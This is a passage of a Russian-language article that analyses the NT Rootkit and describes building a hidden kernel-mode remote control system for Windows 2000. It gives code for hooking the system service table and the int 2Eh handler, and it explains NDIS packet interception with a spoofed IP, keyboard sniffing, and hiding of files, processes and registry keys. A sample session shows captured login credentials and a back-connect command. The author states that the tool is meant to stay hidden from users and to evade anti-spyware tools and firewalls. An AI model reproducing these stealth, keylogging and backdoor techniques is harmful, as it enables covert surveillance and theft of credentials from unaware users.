######                                               
                                                     ++##########++                                           
                                                  ++#####+    ++#####+                                        
                                              ++#####++          ++#####+                                     
                                              ####++    ++####++     +####                                    
                                       пы####    ####п####+   ####п                              
                                    ++############   ###+      +###   ############+                           
                                ++#####п###### ++###        ###++ ########++#####++                       
                             +#####++        ++#########        ##########       ++######+                    
                            ####++     +++     ########          ####п     +++    +######                  
                            ###     ++###+         ####          ####         +###++    +###                  
                            ###   +####+           ####  +####+  ####           ++###+   ###                  
                            ###   ###              ##################              ###   ###                  
                            ###   ###             +########  ########+             ###   ###                  
                            ###   ###         ++######++#+    +#++#######+         ###   ###                  
                            ###               #####++               +#####               ###                  
                            ###п         ####                    ####          +#######                  
                            ++#######+        ####     ##++  ++##     ####         +######+                   
                                ########п#####+      +####+      +######++ ++#######                      
                             ++#####################                ######################+                   
                            #####+  #######+++#####                  #####  +######+  ++####                  
                            ###+   +#####+    ####+ ++            ++ +####    +#####+    ###                  
                            ###   ####+       +########          ########+       ++###   ###                  
                            ###   ###           ++######+++   ++######++           ###   ###                  
                            ###   ###           ++####################++           ###   ###                  
                            ###   +###++   ++########+ ++######++ +########++   +#####   ###                  
                            ###+   ++#############+       п       +#############++   +###                  
                            +####++   ++###+ +####                    ####+ +###+    ++####+                  
                              +######+       +####                    ####++      ++#####+                    
                                 ++#####+++########+                +########+++######++                      
                                     +#######+#######  +++    +++  #######+########++                         
                                        +++   +###+  +####п####+  #####    +++                             
                                               ###++    +######+   +#####                                     
                                                +#####+    ++   +######+                                      
                                                  ++#####++  ++######+                                        
                                                      +###########+                                           
                                                        ++#####+     created by [sER]                                          
                                        
                                                                                                    
                           #####   ##                ##   ##   ##                   ##                        
                           ######  ##                ##  ##    ##                                             
                           ##  ##  ##   ###    ####  ##  ##    ##     ###    ####   ##   ###                  
                           ##  ##  ##  ## ##  ###### ##  ##    ##    ## ##  ######  ##  ## ##                 
                           ######  ##  ## ##  ##  ## #####     ##    ## ##  ##  ##  ##  ## ##                 
                           #####   ##     ##  ##     #####     ##    ## ##  ##  ##  ##  ##                    
                           ##  ##  ##   ####  ##     ##  ##    ##    ## ##  ##  ##  ##  ##                    
                           ##  ##  ##  ## ##  ##     ##  ##    ##    ## ##  ##  ##  ##  ##                    
                           ##  ##  ##  ## ##  ##  ## ##  ##    ##    ## ##  ######  ##  ## ##                 
                           ######  ##  ## ##  ###### ##  ##    ####  ## ##   #####  ##  ## ##                 
                           #####   ##  ######  ####  ##   ##   ####   ###       ##  ##   ###                  
                                                                            ##  ##                            
                                                                             ####                             
                                                                               




 

  Анализ системы удаленного контроля NTRootKit. Его реализация на основе драйвера в Windows 2000.
  ==============================================================================================


  СОДЕРЖАНИЕ

       Введение
  1.     Общая архитектура систем удаленного контроля.
  1.1.   Общие сведения об архитектуре Windows 2000
  1.2.   Модели драйверов в Windows 95/98/ME и Windows 2000/NT
  1.2.1. Общие сведения о драйверной модели Windows 2000
  1.3.   Сервисы операционной системы Windows 2000
  1.4.   Архитектура системы удаленного контроля Incrutable Control
  2.     Архитектура драйвера
  2.1.   Динамическая загрузка/выгрузка
  2.2.   Перехват вызовов Native API и входа в ядро через прерывание 2Eh
  2.3.   Подключение к стеку сетевых драйверов, прослушивание и посылка сетевых пакетов
  2.4.   Перехват клавиатуры
  2.5.   Скрытие ключей реестра, файлов и директорий, процессов
  2.6.   Сетевой командный интерфейс
  2.7.   Связь с сервисом расширения
  3.     Сервис расширения !ic_sERv
  4.     Утилиты динамической загрузки/выгрузки драйверов
  5.     Утилита управления через ICMP PING пакеты ic_rctrl
  6.     Обзор программ, выполняющих аналогичные функции, построенные не через реализацию драйвера. 
         И программ, предназначенных для их удаления из системы.  
  7.     Анализ софта и литературы по созданию драйверов(спец. программы). Помощь в создании проекта.
         Заключение.


 ВВЕДЕНИЕ
 --------

  NT Rootkit short description:
  "The original and first public NT ROOTKIT - has not been updated for many years but is good for ideas." 
  project:  NTRoot Version 0.1a by Greg Hoglund

  long description:

    Существует  достаточно большое количество  систем удаленного управления, реализующие определенные  функции и имеющие
  определенные особенности. Я сталкивался с большим количеством  систем подобного рода, но случайно ко мне в руки попали
  исходные тексты системы NT Rootkit (www.rootkit.com), которая  реализована на хосте  в виде драйвера режима ядра. Сама
  идея очень интересна, поэтому я занялся исследованием вопроса. Хотя идея и не нова,но вот что из этого может получится
  при правильном подходе мы и попробуем разобраться. 
  
    Система удаленного управления (CУУ) Ц это программный комплекс, предназначенный для управления удаленным компьютером
  с другой машины. Эту машину мы  будем называть  терминал, управляемый  компьютер будем называть лхост╗ (лhost╗). Такие
  системы  используются  когда  администратор  хочет управлять, контролировать и  настраивать свои машины, разнесенные в 
  пространстве и соединенные посредством компьютерной сети со своего личного терминала.

    Драйвер режима ядра  Ц  это программный модуль  операционной  системы, выполняющийся  на  высшем  уровне привилегий,
  которому  предоставляется полный  и ничем  не  ограниченный доступ  к ресурсам  компьютера. В частности, это позволяет
  реализовать такие, невозможные для других архитектур построения систем удаленного доступа особенности:

  ∙ Невидимость в системе путем сокрытия определенных файлов, ключей реестра и процессов.
  ∙ Блокировка собственного удаления из системы при активности драйвера. 
  ∙ Слежение за активностью пользователя, нажатыми клавишами, запущенными процессами и т.п.
  ∙ Возможность управления не по основному IP/MAC адресу машины, а по произвольному допустимому для  сети, в которой
        находиться хост.
  ∙ Возможность управления через специально созданные служебные пакеты стека TCP/IP, которые обычно не фильтруются и
        не рассматриваются как носители информации для процессов системы.
  ∙ Возможность автозапуска в системе (не рассматривается подробно).

    Я могу выделить  несколько  причин почему необходимо  реализовывать такие  системы  в драйверах режима ядра, скрывая
  собственное наличие от пользователей, работающих на хостах.

  1.  В последние  несколько  лет  в  операционных системах Windows постоянно обнаруживаются ошибки, при использовании
  которых возможен как полный взлом операционной системы удаленно, путем выполнения произвольного кода с правами SYSTEM,
  так и возможность  поднятия  своих привилегий  до  прав SYSTEM, имея  лишь доступ GUESTТa для локальных пользователей.
  Поэтому рассчитывать  на  то,  что за компьютером,  имея высокие  привилегии, будет  сидеть ответственный  человек, не
  приходится. Поэтому программу необходимо прятать от самого пользователя, в том числе и имеющего права  администратора.
  Реальный же администратор, зная о том как программа установлена, с легкостью сможет ей управлять.

  2.  Большинство  систем  удаленного  управления  работают  в  отдельном  процессе,  что  легко  привлекает  внимание
  пользователей. Простое инжектирование в рабочий  поток ядра исключает  какую-либо видимость программы и возможности ее
  закрытия, поэтому  обычный  пользователь будет  уверен, что за ним никто не  следит и не будет ничего скрывать. Так же
  важным фактором может служить и то, что пользователь, не зная о существовании программы, не сможет нарушить ее работу.

  3.  Большинство функций операционной системы невозможно использовать из пользовательского режима.Работа в процессе с
  правами  SYSTEM  потенциально  дает  любые  возможности,  но  не  столь  прямым  и  удобным образом, потому что сердце
  операционной системы Ц это Native API, а он доступен только из уровня ядра. 

  4.  Слежение  за  нажатием клавиш,  слежение  и  ограничение доступа/видимости запуска программ, доступа  к файлам и
  реестру Ц все это в полной степени можно реализовать только из уровня ядра.

  5.  Невозможность блокировки модулей программами типа AntiSpy, AntiKeyloger. Обход различного рода firewall'ов.

    Поэтому создание подобной системы представляется достаточно актуальной и сложной.

    Попытаемся разобраться  в  реализации системы  удаленного  контроля, которая должна содержать:  сам драйвер, утилиту
  загрузки/выгрузки, сервисы расширения, клиента сервиса расширения, утилиты управления драйвером через специальные ICMP
  PING  пакеты  (в  принципе  ничто  не  помешает  объединить  все  это  в  один  программный  комплекс).
  
    Информация по  программированию  на  уровне ядра  достаточно  редка  и специфична, найти ее и изучить представляется
  достаточно трудной  задачей  самой  по  себе. При написании статьи не ставится задача создания полноценного мануала по
  написанию  руткита  для широкой  аудитории  читателей,  просто попытаемся  отразить  все  принципы архитектуры системы
  удаленного доступа, который позволял бы уже неограниченно расширить свои привилегии на целевой машине.

  Функции драйвера.
   ∙  Динамическая загрузка/выгрузка драйвера.
   ∙  Перехват определенных вызовов Native API.
   ∙  Перехват прерывания входа в ядро: 2Eh (KiSystemService).
   ∙  Подключение к стеку сетевых драйверов NDIS.
   ∙  Прослушивание, анализ и посылка сетевых пакетов через сетевой драйвер Ethernet.
   ∙  Перехват клавиатуры.
   ∙  Скрытие определенных ключей реестра.
   ∙  Скрытие определенных файлов и директорий.
   ∙  Скрытие определенных процессов.
   ∙  Получение локального IP адреса.
   ∙  Управление через ICMP PING пакеты.
   ∙  Реализация мини-стека TCP/IP
   ∙  Предоставление сетевого командного интерфейса и предоставление тестового набора команд.
   ∙  Связь с сервисом расширения.
  Утилита динамической загрузки/выгрузки драйвера.
  Сервис расширения.
   ∙  Общая архитектура сервиса.
   ∙  Подсистем установки соединения и обработки команд.
   ∙  Обработка основных команд удаленного управления
  Клиент сервиса расширения.
  Утилиты управления драйвером через специальные ICMP PING пакеты.

  Так как рассматриваемая система имеет много функций мониторинга, блокировки, скрытия, то мы будем ее называть системой
удаленного контроля. 

 
  1. ОБЩАЯ АРХИТЕКТУРА СИСТЕМЫ
  ----------------------------

    1.1 Общие сведения об архитектуре Windows 2000.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Операционная  система  Windows  2000  является  безопасной  в  том  смысле,  что  существует четкое разделение между
  пользовательскими процессами,  код которых  по предположению  операционной системы полностью некорректен и ошибочен, и
  внутренним ядром системы. ОС реализована так, чтобы полностью защитить ядро от любого ошибочного кода пользовательских
  процессов. Для  этого  используются специальные особенности  архитектуры  процессоров, на  которых  запускается  ОС. В
  дальнейшем мы будем говорить только о линейке архитектур Intel (i386 и выше).

    Код пользовательских  процессов  работает  на  3-ем кольце  защиты (ring 3). Код ядра работает на 0-ом кольце защиты
  (ring 0). Только на ring 0 возможно выполнение привилегированных команд управления процессором, аппаратурой, системной
  управляющей информацией машины. Система построена так, чтобы полностью изолировать  код пользовательских  процессов от
  кода ядра. Система использует плоскую (flat) модель памяти,  в  которой все  пространство памяти представляется в виде
  непрерывного  линейного участка  общим объемом 4Гб.  Пространство разделено на 2 части: с 00000000h по 7FFFFFFh память
  отведена для пользовательских процессов. Начиная с 80000000h до FFFFFFFFh память  предназначена для ядра  операционной
  системы. Нижний сегмент памяти  свой собственный  для каждого процесса. Исполнимые модули обычно загружаются по адресу
  400000h. Верхний сегмент един для всех  процессов. Таблицы страниц (расположенные с  адреса C0000000h) настроены таким
  образом, что  пользовательские  процессы  не  имеют доступа  к  верхнему  сегменту памяти. Для  того,  чтобы  все-таки
  пользовательские процессы могли как-то обращаться к  ядру операционной системы, существует  специальный способ Ц вызов
  пользовательского прерывания int 2Eh. Других способов обратиться к ядру нет.

    Драйвер  Ц  это специальный модуль  операционной  системы, загружаемый в общесистемное пространство (по адресам выше
  80000000h)  и  исполняемый  на  0-ом  кольце  защиты.  Это  значит,  что  ему доступны абсолютно  все ресурсы машины и
  операционной системы.

    Для драйверов существует специальная  среда существования. Модуль  ядра ntoskrnl.exe  экспортирует специальный набор
  функций,предоставляющий драйверу различные сервисы операционной системы по организации драйверной модели (WDM), обмена
  IRP пакетам, по управлению памятью, обращению к другим  драйверам и т.п.  Модуль графического интерфейса  пользователя
  win32k.sys, также расположенный в ядре и предоставляющий большое количество  своих вызовов, мы рассматривать не будем,
  так как в нем нет ничего интересного для этой работы.

    Однако, кроме этих вызовов, для драйвера не существует ничего больше. По замыслу Microsoft драйвер  нужен только для
  того,  чтобы  поддерживать  аппаратуру  и  суть  его  работы  в  том, чтобы  предоставлять  специальный  интерфейс для
  пользовательских процессов, осуществляя поддержку  конкретной аппаратуры. Поэтому набор вызовов драйвера очень и очень
  ограничен. Многие естественные и привычные вызовы Win32API не доступны для драйверов, так как сами  реализуются в DLL,
  работающих  на 3-ем  кольце  защиты. Например,  вызовы  типа  CreateProcess, все  вызовы  работы  с  сетевыми сокетами
  (предоставляемыми ws2_32.dll), управления пользовательскими  объектами, все они  доступны только  на  пользовательском
  уровне и недоступны в ядре.

    Поэтому, если  система  удаленного контроля будет  создана, то  реализовывать её необходимо из двух частей: драйвера
  режима ядра, и сервиса расширения, работающего на уровне пользовательского интерфейса.


    1.2. Модели драйверов в Windows 95/98/ME и Windows 2000/NT
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Monolithic Drivers - основная модель, используемая при написании собственного драйвера для конкретного оборудования.
  Эта модель драйверов поддерживается на всех платформах. Такие драйверы обеспечивают непосредственный доступ к "железу"
  и выполнение привилегированных системных функций.

    Кроме  Monolithic  Drivers  в  Windows  NT  определены  и  другие типы  драйверов,  уникальные для  этой системы, но
  поддерживаемые и в Windows 95/98/ME.

    Layered Drivers - это драйверы, являющиеся частью "стека" драйверов устройств.Эти драйверы перехватывают обращение к
  верхнему драйверу устройства и выполняют только часть функций управления.

    Miniport Drivers - этот класс драйверов устройств содержит код для выполнения основных функций устройства  без учёта
  особенностей внутренней работы устройства.

    Windows NT/2000 содержит несколько классов таких драйверов, называемых "ports",  реализующих основные функции своего
  класса.


      1.2.1 Общие сведения о драйверной модели Windows 2000.
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Драйвер Ц это модуль операционной системы, загружаемые в системное пространство ядра, и предоставляющий определенный
  интерфейс взаимодействия с  операционной системой. Начиная с  Windows 2000,  основной является  специальная драйверная
  модель WDM Ц Windows Driver Model.

    После загрузки драйвера  необходимо вызвать  процедуру DriverEntry, которая  производит  необходимую инициализацию и
  регистрацию его в системе. Для этого она заполняет структуру DRIVER_OBJECT,записывая туда обработчики вызовов, которые
  вызывает операционная система по мере необходимости. В частности важными являются обработчики:

   выгрузки драйвера:
    DriverObject->DriverUnload = UnloadRoutine;

   обработчики вызовов открытия, закрытия, записи, чтения и управления:
    DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateFile_IRPprocessing;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]  = CloseHandle_IRPprocessing;
    DriverObject->MajorFunction[IRP_MJ_READ]   = ReadWrite_IRPhandler;
    DriverObject->MajorFunction[IRP_MJ_WRITE]  = ReadWrite_IRPhandler;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlRoutine;

   обработчик создания объектов устройства:
    DriverObject->DriverExtension->AddDevice = AddDevice

    Далее драйвер обычно создает объект устройства (или делает это в обработчике AddDevice) вызовом IoCreateDevice.

  ;---------------------------------------------------------------------------------------------------------------------

  aStatus = IoCreateDevice( theDriverObject, sizeof(DEVICE_EXTENSION), &aUnicodeDeviceName, // usermode export
      FILE_DEVICE_PROTOCOL, 0, FALSE, &g_NdisDeviceObject ); 

  if (aStatus != STATUS_SUCCESS) { break; }

  ;---------------------------------------------------------------------------------------------------------------------

    Далее  регистрируем  символическую  ссылку  для   предоставления   интерфейса  пользовательским   процессам  вызовом
  IoCreateSymbolicLink.

  ;---------------------------------------------------------------------------------------------------------------------

  if(0 == aDevicesCreated){
    //
    // Create a symbolic link that the GUI can specify to gain
    // access
    // to this driver/device
    //
    
    RtlInitUnicodeString (&aDeviceLinkUnicodeString, aDeviceLinkBuffer );
    aStatus = IoCreateSymbolicLink ( &aDeviceLinkUnicodeString, &aUnicodeDeviceName );
    
    if (!NT_SUCCESS(aStatus))
      DbgPrint (("inscruton: IoCreateSymbolicLink failed\n"));

  }

  aDevicesCreated++;
  g_NdisDeviceObject->Flags |= DO_DIRECT_IO;
  aDeviceExtension    =  (PDEVICE_EXTENSION) g_NdisDeviceObject->DeviceExtension;
  aDeviceExtension->DeviceObject  = g_NdisDeviceObject;

  ;---------------------------------------------------------------------------------------------------------------------

    Далее выполняется  дополнительная  инициализация.  Например, создание  системного  потока ядра, регистрация процедур
  обработки  прерываний,  регистрация DPC  процедур, выделение  памяти для  своих  структур и т.п.  Функция завершается,
  возвращая STATUS_SUCCESS, если загрузка произошла успешно.

    Часто драйвер подключается к стеку других драйверов для того, чтобы обрабатывать, фильтровать, расширять их запросы.
  Делается это  вызовом IoAttachDevice. Далее  жизнедеятельность драйвера  состоит в том, чтобы обрабатывать поступающие
  IRP (Input/output Request Packet) пакеты, создаваемые операционной системой, по запросам пользовательских процессов.


    1.3. Сервисы операционной системы Windows 2000.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Сервис  Ц  это специальная  программа, предназначенная для предоставления различных неинтерактивных служб, например,
  FTP server, MPI, CORBA, серверы баз данных и т.п. Сервисы  загружаются операционной  системой сразу  после собственной
  инициализации, еще  до  того как  пользователь  войдет  в  систему, и  остаются запущенными не зависимо от того, какой
  пользователь сейчас работает  на машине. Сервис  должен предоставлять возможность  его динамической загрузки (CREATE),
  выгрузки (DELETE), остановки (STOP), запуска (START), приостановки (PAUSE), продолжения (CONTINUE). Для этого он тесно
  взаимодействует с SC менеджером (Service Control  Manager) через  специальные API-вызовы, экспортируемые advapi32.dll.
  Основными  из   них  являются:  CloseServiceHandle,   ControlService,  CreateService,   DeleteService,  OpenSCManager,
  RegisterServiceCtrlHandler, StartServiceCtrlDispatcher.


    2. АРХИТЕКТУРА ДРАЙВЕРА 
    -----------------------

    Рассмотрим основные части, алгоритмы драйвера и способ их реализации.


    2.1. Динамическая загрузка/выгрузка.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Реализуется стандартным  образом. Драйвер  поддерживает  минимум обработчиков, необходимых  для  запуска и остановки
  драйвера. Существует специальный обработчик IRP пакетов OnStubDispatch, который ничего практически не делает:
  
   для своих пакетов возвращает STATUS_UNSUCCESSFUL, так как их обработку он не поддерживает;
   для IRP пакетов от NDIS драйверов просто возвращает STATUS_SUCCESS;
   для  клавиатурных  IRP   пакетов  пропускает  их   вниз  по  стеку,   регистрируя  процедуру  завершения   обработки
    OnKbdReadComplete. 

    Этот обработчик и устанавливается на все вызовы PNP менеджера.

  ;---------------------------------------------------------------------------------------------------------------------

  for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
  {
    theDriverObject->MajorFunction[i] = OnStubDispatch;
  }

  ;---------------------------------------------------------------------------------------------------------------------

    Порядок загрузки драйвера следующий:
  а) Инициализация собственных структур.
  б) Регистрация нового протокола в стеке сетевой драйверной модели: NdisRegisterProtocol.
  в) Получение информации о первом сетевом устройстве.
  г) Создание объекта устройства: IoCreateDevice.
  д) Регистрация символической ссылки: IoCreateSymbolicLink У\Device\InscrutOnФ.
  е) Создание системного рабочего потока: PsCreateSystemThread.
  ж) Установка перехватчика сетевых пакетов: NdisOpenAdapter.
  з) Перехват системных вызовов: HookSyscalls.
  и) Перехват прерываний: HookInterrupts.
  к) Установка в стек клавиатуры для перехвата нажатий клавиш: cmdHookKeyboard.

    Порядок выгрузки:
  а) Ожидание завершения системного рабочего потока.
  б) Снятие перехвата системных вызовов: UnhookSyscalls.
  в) Снятие перехвата прерываний: UnhookInterrupts.
  г) Снятие перехвата клавиатуры: IoDetachDevice, IoDeleteDevice.
  д) Отмена регистрации сетевого протокола: NdisDeregisterProtocol.
  е) Удаление символической ссылки: IoDeleteSymbolicLink
  ж) Ожидание завершения обработки всех команд и IRP пакетов.


    2.2. Перехват вызовов Native API и входа в ядро через прерывание 2Eh.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Как уже говорилось, вход в ядро происходит при помощи вызова прерывания 2Eh. Но пользователь, использующий WIN32API,
  не должен  этого  знать. Вместо  этого  он пользуется  функциями  DLL, которые  уже  или  переадресуют  вызов на более
  низкоуровневые DLL, или сами осуществляют вход в ядро. Основными из низкоуровневых DLL являются user32.dll, gdi32.dll,
  advapi32.dll,  rpcrt4.dll,  kernel32.dll. Центральной  же  является  ntdll.dll, которая в своей основе содержит вызовы
  модуля ntoskrnl.exe. Он предоставляет вызовы типа Zw*, в теле которых записан код, приблизительно следующего вида:

  ;---------------------------------------------------------------------------------------------------------------------

  mov EAX, index
  mov EDX, parameters_stack_pointer
  int 2Eh

  ;---------------------------------------------------------------------------------------------------------------------

    После перехода на уровень нулевого кольца защиты, управление передается обработчику  прерывания 2Eh KiSystemService,
  реализованного в  модуле  ntoskrnl.exe.  Для того,  чтобы определить кого вызвать, в ядре  имеется структура, свободно
  экспортируемая ntoskrnl.exe: KiServiceDescriptorTable. В ней для каждого индекса функции ядра указан адрес процедуры и
  количество аргументов, передаваемых  в  стеке. KiSystemService копирует  аргументы из стека пользователя в стек ядра и
  передает управление этой процедуре, адрес которой она берет из таблицы.Технология перехвата Native API вызовов состоит
  в том, чтобы просто подменить адреса процедур со стандартных на  свои собственные в таблице  KiServiceDescriptorTable.
  Разумеется, необходимо запоминать старые адреса,чтобы впоследствии обращаться к реальным вызовам самому и восстановить
  состояние системы в исходное после выгрузки драйвера.

    Например, перехват вызова ZwOpenFile будет выглядеть так:

  ;---------------------------------------------------------------------------------------------------------------------

  OldZwOpenFile = (ZWOPENFILE)(SYSTEMSERVICE(ZwOpenFile));
  (SYSTEMSERVICE(ZwOpenFile))=reinterpret_cast(NewZwOpenFile);

  ;---------------------------------------------------------------------------------------------------------------------

    Где SYSTEMSERVICE определен как макрос:

    #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

    Однако существует  набор  функций, как уже  указывалось  ранее, не  экспортируемый для драйверов, поэтому невозможно
  получить их адрес.Единственный способ перехватить их в этом случае Ц это знать индекс в таблице системных вызовов. Для
  Windows 2000 эти индексы известны, и их несложно установить, дизассемблировав ntdll.dll. Кроме того, можно перехватить
  сам  обработчик  прерывания  2Eh,  просто  заменив  в  таблице  IDT  процессора  дескриптор  обработчика прерывания (в
  Windows 2000 он находится по адресу 80036400h), что и делается в данном драйвере в процедуре HookInterrupts. 

    Приведем текст установки нового обработчика и сохранения старого.

  ;---------------------------------------------------------------------------------------------------------------------

  __asm{sidt idt_info;}

  idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
  KiRealSystemServiceISR_Ptr =  MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,\
          idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);

  int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);

  __asm{
    cli;
    lea eax, MyKiSystemService;
    mov ebx, int2e_entry;
    mov [ebx], ax;
    shr eax, 16
    mov [ebx+6], ax;
    lidt idt_info;
    sti;
  }

  ;---------------------------------------------------------------------------------------------------------------------

    После этого вместо KiSystemService будет вызываться наша процедура, и абсолютно все вызовы ядра операционной системы
  в наших руках.


    2.3. Подключение к стеку сетевых драйверов, прослушивание и посылка сетевых пакетов.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    В начале  драйвер регистрирует свой  протокол и  устанавливает обработчики запросов к этому протоколу. Затем драйвер
  перечисляет    сетевые    устройства   в   системе,     информация    о   которых     расположена    в    реестре   Ц
  \HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\NetworkCards.

    После этого  подключает созданный  протокол  к первому найденному  Ethernet  адаптеру через вызов   NdisOpenAdapter.
  Правильнее  было  бы  подключаться  ко  всем, но  сейчас  для  простоты  реализации сделано  так. После  того,  как мы
  подключились, при приходе пакетов вызывается установленный обработчик OnTransferDataDone, который вызывает обработчики
  OnSessionPacket  и  OnSniffedPacket. Первый  реализует  мини TCP/IP стек, второй  Ц  управление специальными ICMP PING
  пакетами.Для посылки пакетов написана функция SendRaw,являющаяся по сути оболочкой над функциями NdisChainBufferAtBack
  и NdisSend. В дальнейшем нам понадобится локальный IP адрес машины.  Чтобы его получить, обращаемся к реестру, пытаясь
  прочитать ключ IPAddress по адресу HKLM\SYSTEM\CurrentControlSet\Services\{UID-адаптера}\Parameters\Tcpip.
  
    Такой способ подключения к сетевому стеку полностью прозрачен и незаметен для системы,и соответственно пользователю,
  работающему в  ней. Например, невозможно  увидеть  порты,  открываемые  драйвером,  по  команде  netstat.  Драйвер для
  реального подключения использует IP адрес отличный от адреса машины, поэтому даже если пользователь будет прослушивать
  свою сеть и наблюдать трафик, он увидит лишь общение кого-то с кем-то, без участия его IP адреса и МАС адреса.


     2.4. Перехват клавиатуры.
     ~~~~~~~~~~~~~~~~~~~~~~~~~

    Перехват нажатий  на  клавиатуре  происходит за счет  подключения к  устройству \\Device\\KeyboardClass0, (создается
  дополнительный объект устройства IoCreateDevice и помещается на вершину стека с помощью IoAttachDevice). После чего мы
  перехватываем все  IRP пакеты,  из которых легко извлечь скан-код  нажатой клавиши, так как структура информации в IRP
  пакете драйвера клавиатуры известна.

    Подсистема контроллера клавиатуры приведена в приложении В.


    2.5. Скрытие ключей реестра, файлов и директорий, процессов.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     Перехват системных вызовов был необходим для того, чтобы можно было, во-первых,  следить за системой, а  во-вторых,
   скрывать защищаемые файлы, директории, ключи  реестра и процессы.  Скрываются эти элементы в зависимости от их имени.
   Если  имя  файла,  директории, ключа,  значения  реестра или процесса  начинается  с  комбинации  символов У!ic_Ф, то
   соответствующий объект скрывается.

     Скрытие  файлов  и  директорий  осуществляется  просто: добавляя  дополнительные  проверки  в  перехватчике  вызова
   ZwQueryDirectoryFile (после вызова  настоящей  системной процедуры). Данные проверки ищут среди возвращаемых значений
   те, которые нужно скрыть. Если таковые обнаруживаются, модифицируются соответствующие результирующие структуры.

    Похожая операция  производится  в  перехватчике  вызова ZwQuerySystemInformation для  скрытия процессов в системе. C
  ключами и значениями реестра дело  обстоит сложнее. Вызовы обращения  к реестру многочисленны и разнообразны. Для того
  чтобы  скрывать  ключи  и  значения приходится  заводить  специальные  таблицы переиндексации. Когда открывается ключ,
  производится проверка на наличие в нем скрываемых элементов. Если это так, то регистрируется соответствующая пара  для
  этого ключа: <индекс  скрываемого  элемента, новый  индекс элемента>. В  последующих вызовах, при  чтении значения или
  перечислении ключей (и значений) происходит проверка на наличие нужного элемента в таблице,и если он там присутствует,
  то переиндексируется на новый, таким  образом  скрываясь. Общее количество  ключей и значений уменьшается, и последние
  просто  не  показываются. Для  этой  операции  пришлось перехватывать и модифицировать следующие вызовы: NewZwOpenKey,
  NewZwQueryKey, NewZwEnumerateValueKey, NewZwEnumerateKey,  создавать отдельную динамическую  структуру списков и набор
  процедур работы с ними. Кроме всего прочего,  есть одна важная  особенность. Так как  сам администратор может захотеть
  работать со скрытыми файлами, директориями,и ключами реестра,то предусмотрена возможность снятия режима для процессов,
  которые сами  начинаются с  определенного префикса л!ic_╗. То  есть если запустить !ic_cmd.exe, то он уже будет видеть
  все скрытые директории и т.п. вещи, в отличие от всех остальных процессов системы. 


    2.6. Сетевой командный интерфейс.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    В драйвере реализован  свой  собственный мини  TCP/IP стек. Так как драйвер использует только самый  низкий доступ к
  сети Ц через пакеты Ethernet, то ему  необходимо самостоятельно  производить разбор/сбор IP пакетов и TCP сегментов. В
  драйвере в качестве  глобальной переменной  указан специальный IP  адрес (SPOOFED_IP), на который он будет отзываться.
  Этот адрес устанавливается при загрузке драйвера и может быть динамически сменен с помощью специальных  командных ICMP
  PING пакетов.

    Драйвер реализует лишь самый минимум TCP/IP стека.

    При ARP запросе на SPOOFED_IP драйвер возвращает свой собственный, выдуманный MAC адрес. При приходе пакетов на этот
  MAC адрес, независимо от IP получателя,  драйвер начинает  анализировать этот пакет и разбирать его на нужные IP и TCP
  структуры. При  корректных  TCP пакетах на  установку  соединения, драйвер  инициирует таковое по стандартам Internet.
  Драйвер реализован так, что игнорирует поле dest_port. Это означает,что соединение можно установить абсолютно на любой
  порт.После установки соединения драйвер посылает строку  приглашения и ожидает данные  пользователя. При получении, он
  помещает их  в  глобальную переменную  g_command_signal и устанавливает  событие  command_signal_event, что пробуждает
  системный   рабочий   поток,   который   копирует  команду   в   безопасный   буфер   и  вызывает   обработчик  команд
  process_rootkit_command.

    Поддерживаемые  команды  перечислены  выше,  в  общем обзоре  архитектуры  системы. Для  наглядности приведем пример
  взаимодействия с драйвером по сети:

  inscruton>help
  help
  (*) Win2K Inscrutable Control kit (*)
  (*) Version 0.1 alpha 2004 (*)
  Running at 10.162.5.141
  -------------------------------------------------
   command         |  description
  -----------------+------------------------------
   help            |  this data
   ps              |  show proclist
   hidedir         |  hide prefixed file/dir
   hideproc        |  hide prefixed processes
   sniffkeys       |  toggle keyboard sniffer
  -----------------+------------------------------
   access Ip:Port  |  start back connection to
                   |  ip:port; use ic_client.pl
   clear_access    |  clear connection trying
                   |
                   |
  -----------------+------------------------------
   echo    |  echo the given string
   debugint        |  (BSOD)fire int3
   buffertest      |  debug output
  -------------------------------------------------

  inscruton>access 10.162.5.141:34895
  access 10.162.5.141:34895
  registry values set ok
  inscruton>sniffkeys
  sniffkeys
  keyboard sniffing now ON
  ------------------------------------------
  ----------e-23---login-:-root-password-:-ghbdtn---
  ------------------------------------------
  sniffkeys is now OFF.
  inscruton>hideproc
  hideproc
  process prefix-hiding now OFF
  inscruton>hidedir
  hidedir
  directory prefix-hiding now OFF
  inscruton>clear_access
  clear_access
  registry values cleared ok
  inscruton>


    2.7. Связь с сервисом расширения.
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Сервис  расширения  -  это дополнительная  программа, которая устанавливается  и  запускается на системе параллельно
  драйверу. Она  работает  в  пользовательском режиме  и  ей  доступны  все  функции Win32API, таким  образом существует
  возможность  реализовывать любые   относительно сложные  вещи  для удаленного управления компьютером. Связь с клиентом
